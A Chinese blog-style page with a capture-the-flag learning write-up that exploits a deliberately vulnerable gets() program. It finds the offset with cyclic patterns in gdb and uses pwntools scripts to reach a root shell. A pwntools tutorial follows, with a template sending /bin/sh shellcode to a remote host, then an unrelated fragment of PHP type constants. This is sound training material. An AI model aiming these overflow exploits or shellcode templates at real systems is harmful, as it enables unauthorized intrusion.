第一个溢出程序测试

学习了一下溢出,这个题目设计的是通过gets覆盖key,然后导致程序判断逻辑为true,即可获得shell。实际上不仅如此,还可以直接覆盖EIP获得shell。原文链接:https://medium.com/bugbountywriteup/learn-pwntools-step-by-step-8c96f2dba61a
原文是覆盖key,这里覆盖EIP进行尝试
#include
#include
#include
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}

首先用pwntools的
cyclic(0x100) # 生成一个0x100大小的pattern,即一个特殊的字符串
生成的目的是为了溢出以后能够一次性定位到溢出点,生成如下:
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac
然后通过gdb 运行目标程序(编译选项gcc -o bof bof.c -m32 -fno-stack-protector),
gdb-peda$ c
Continuing.
overflow me : aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac
Nah..

Program received signal SIGSEGV, Segmentation fault.
[———————————-registers———————————–]
EAX: 0x6
EBX: 0x0
ECX: 0xffffffff
EDX: 0xf7fb8870 –> 0x0
ESI: 0xf7fb7000 –> 0x1b1db0
EDI: 0xf7fb7000 –> 0x1b1db0
EBP: 0x6161616b (‘kaaa’)
ESP: 0xffffd540 (“maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaac”…)
EIP: 0x6161616c (‘laaa’)
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[————————————-code————————————-]
Invalid $PC address: 0x6161616c
[————————————stack————————————-]
0000| 0xffffd540 (“maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaac”…)
0004| 0xffffd544 (“naaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaac”…)
0008| 0xffffd548 (“oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac”)
0012| 0xffffd54c (“paaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac”)
0016| 0xffffd550 (“qaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac”)
0020| 0xffffd554 (“raaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac”)
0024| 0xffffd558 (“saaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac”)
0028| 0xffffd55c (“taaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac”)
[——————————————————————————]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x6161616c in ?? () //发现溢出点
gdb-peda$
然后使用cyclic_find查找溢出点位置

>>> cyclic_find(0x6161616c)
44

可以看到溢出点在44的位置,
然后objdump -d目标程序,发现system(“/bin/sh”)的地址为:80484cc
80484cc: 68 af 85 04 08 push $0x80485af
80484d1: e8 9a fe ff ff call 8048370

然后写程序进行溢出测试
#!/usr/bin/env python
# encoding: utf-8

from pwn import *

sh = process(“/root/learnpwn/bof”)
print sh.recvline(timeout=1)
sh.sendline(“A” * 44 + p32(0x80484cc))
sh.interactive()

然后得到shell
>>> from pwn import *
>>>
>>> sh = process("/root/learnpwn/bof")
[x] Starting local process '/root/learnpwn/bof'
[+] Starting local process '/root/learnpwn/bof': pid 45949
>>> print sh.recvline(timeout=1)

 

>> sh.sendline(“A” * 44 + p32(0x80484cc))
>>> sh.interactive()
[*] Switching to interactive mode
overflow me : Nah..
whoami
root


原始方法:

ECX: 0xf7fb75a0 –> 0xfbad2288
EDX: 0xf7fb887c –> 0x0
ESI: 0xf7fb7000 –> 0x1b1db0
EDI: 0xf7fb7000 –> 0x1b1db0
EBP: 0xffffd538 (“kaaalaaamaaa”)
ESP: 0xffffd510 (“aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaa”)
EIP: 0x80484c0 (<func +37>: cmp DWORD PTR [ebp+0x8],0xcafebabe)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[————————————-code————————————-]
0x80484b7 </func><func +28>: push eax
0x80484b8 </func><func +29>: call 0x8048350 <gets @plt>
0x80484bd <func +34>: add esp,0x10
=> 0x80484c0 </func><func +37>: cmp DWORD PTR [ebp+0x8],0xcafebabe
0x80484c7 </func><func +44>: jne 0x80484db </func><func +64>
0x80484c9 </func><func +46>: sub esp,0xc
0x80484cc </func><func +49>: push 0x80485af
0x80484d1 </func><func +54>: call 0x8048370 <system @plt>
[————————————stack————————————-]
0000| 0xffffd510 (“aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaa”)
0004| 0xffffd514 (“baaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaa”)
0008| 0xffffd518 (“caaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaa”)
0012| 0xffffd51c (“daaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaa”)
0016| 0xffffd520 (“eaaafaaagaaahaaaiaaajaaakaaalaaamaaa”)
0020| 0xffffd524 (“faaagaaahaaaiaaajaaakaaalaaamaaa”)
0024| 0xffffd528 (“gaaahaaaiaaajaaakaaalaaamaaa”)
0028| 0xffffd52c (“haaaiaaajaaakaaalaaamaaa”)
[——————————————————————————]
Legend: code, data, rodata, value
0x080484c0 in func ()
gdb-peda$ p 0xffffd538
$18 = 0xffffd538
gdb-peda$ x $18+0x8
0xffffd540: “maaa”

>>> cyclic_find(“maaa”)
48

#!/usr/bin/env python
# encoding: utf-8

from pwn import *

sh = process(“/root/learnpwn/bof”)
print sh.recvline(timeout=1)
sh.sendline(“A” * 48 + p32(0xcafebabe))
sh.interactive()</system></func></gets></func>

pwntools使用说明

0x01 pwntools?
pwntools是一个ctf框架和漏洞利用开发库,用Python开发,由rapid设计,旨在让使用者简单快速的编写exploit。

pwntools下载:https://pwntools.com/

文档在线:http://pwntools.readthedocs.io/en/latest/

目前pwntools支持python2,如果需要python3,也有一个python3-pwntools。
安装方法其实最简单的是使用PYPI,如下:

sudo pip install pwntools

0x02 使用简介
大致框架
官网的一个简单样例

from pwn import *
context(arch = 'i386', os = 'linux')

r = remote('exploitme.example.com', 31337)
# EXPLOIT CODE GOES HERE
r.send(asm(shellcraft.sh()))
r.interactive()

基本上仿造这个格式就可以写exp了。

from pwn import *

用来导入pwntools模块

context(arch = 'i386', os = 'linux')

设置目标机的信息

r = remote('exploitme.example.com', 31337)

用来建立一个远程连接,url或者ip作为地址,然后指明端口

这里也可以仅仅使用本地文件,调试时方便:

r = process("./test")

test即为文件名,这使得改变远程和本地十分方便.

asm(shellcraft.sh())

asm()函数接收一个字符串作为参数,得到汇编码的机器代码。
比如

>>> asm('mov eax, 0')
'\xb8\x00\x00\x00\x00'

shellcraft模块是shellcode的模块,包含一些生成shellcode的函数。

其中的子模块声明架构,比如shellcraft.arm 是ARM架构的,shellcraft.amd64是AMD64架构,shellcraft.i386是Intel 80386架构的,以及有一个shellcraft.common是所有架构通用的。

而这里的shellcraft.sh()则是执行/bin/sh的shellcode了

r.send()将shellcode发送到远程连接

最后,

r.interactive()

将控制权交给用户,这样就可以使用打开的shell了

Context设置
context是pwntools用来设置环境的功能。在很多时候,由于二进制文件的情况不同,我们可能需要进行一些环境设置才能够正常运行exp,比如有一些需要进行汇编,但是32的汇编和64的汇编不同,如果不设置context会导致一些问题。

一般来说我们设置context只需要简单的一句话:

context(os='linux', arch='amd64', log_level='debug')

这句话的意思是:
1. os设置系统为linux系统,在完成ctf题目的时候,大多数pwn题目的系统都是linux
2. arch设置架构为amd64,可以简单的认为设置为64位的模式,对应的32位模式是’i386’
3. log_level设置日志输出的等级为debug,这句话在调试的时候一般会设置,这样pwntools会将完整的io过程都打印下来,使得调试更加方便,可以避免在完成CTF题目时出现一些和IO相关的错误。

数据打包
数据打包,即将整数值转换为32位或者64位地址一样的表示方式,比如0x400010表示为\x10\x00\x40一样,这使得我们构造payload变得很方便

用法:
* p32/p64: 打包一个整数,分别打包为32或64位
* u32/u64: 解包一个字符串,得到整数

p对应pack,打包,u对应unpack,解包,简单好记

payload = p32(0xdeadbeef) # pack 32 bits number

数据输出
如果需要输出一些信息,最好使用pwntools自带的,因为和pwntools本来的格式吻合,看起来也比较舒服,用法:

some_str = "hello, world"
log.info(some_str)

其中的info代表是log等级,也可以使用其他log等级。

Cyclic Pattern
Cyclic pattern是一个很强大的功能,大概意思就是,使用pwntools生成一个pattern,pattern就是指一个字符串,可以通过其中的一部分数据去定位到他在一个字符串中的位置。

在我们完成栈溢出题目的时候,使用pattern可以大大的减少计算溢出点的时间。
用法:

cyclic(0x100) # 生成一个0x100大小的pattern,即一个特殊的字符串
cyclic_find(0x61616161) # 找到该数据在pattern中的位置
cyclic_find(‘aaaa’) # 查找位置也可以使用字符串去定位

比如,我们在栈溢出的时候,首先构造cyclic(0x100),或者更长长度的pattern,进行输入,输入后pc的值变味了0x61616161,那么我们通过cyclic_find(0x61616161)就可以得到从哪一个字节开始会控制PC寄存器了,避免了很多没必要的计算。

汇编与shellcode
有的时候我们需要在写exp的时候用到简单的shellcode,pwntools提供了对简单的shellcode的支持。
首先,常用的,也是最简单的shellcode,即调用/bin/sh可以通过shellcraft得到:

注意,由于各个平台,特别是32位和64位的shellcode不一样,所以最好先设置context。

print(shellcraft.sh()) # 打印出shellcode

不过,现在我们看到的shellcode还是汇编代码,不是能用的机器码,所以还需要进行一次汇编

print(asm(shellcraft.sh())) # 打印出汇编后的shellcode

asm可以对汇编代码进行汇编,不过pwntools目前的asm实现还有一些缺陷,比如不能支持相对跳转等等,只可以进行简单的汇编操作。如果需要更复杂一些的汇编功能,可以使用keystone-engine项目,这里就不再赘述了。

asm也是架构相关,所以一定要先设置context,避免一些意想不到的错误。

原文链接:https://blog.csdn.net/qq_29343201/article/details/51337025

php zval类型定义

#define IS_NULL 0
#define IS_LONG 1
#define IS_DOUBLE 2
#define IS_BOOL 3
#define IS_ARRAY 4
#define IS_OBJECT 5
#define IS_STRING 6
#define IS_RESOURCE 7
#define IS_CONSTANT 8
#define IS_CONSTANT_ARRAY 9
#define IS_CALLABLE 10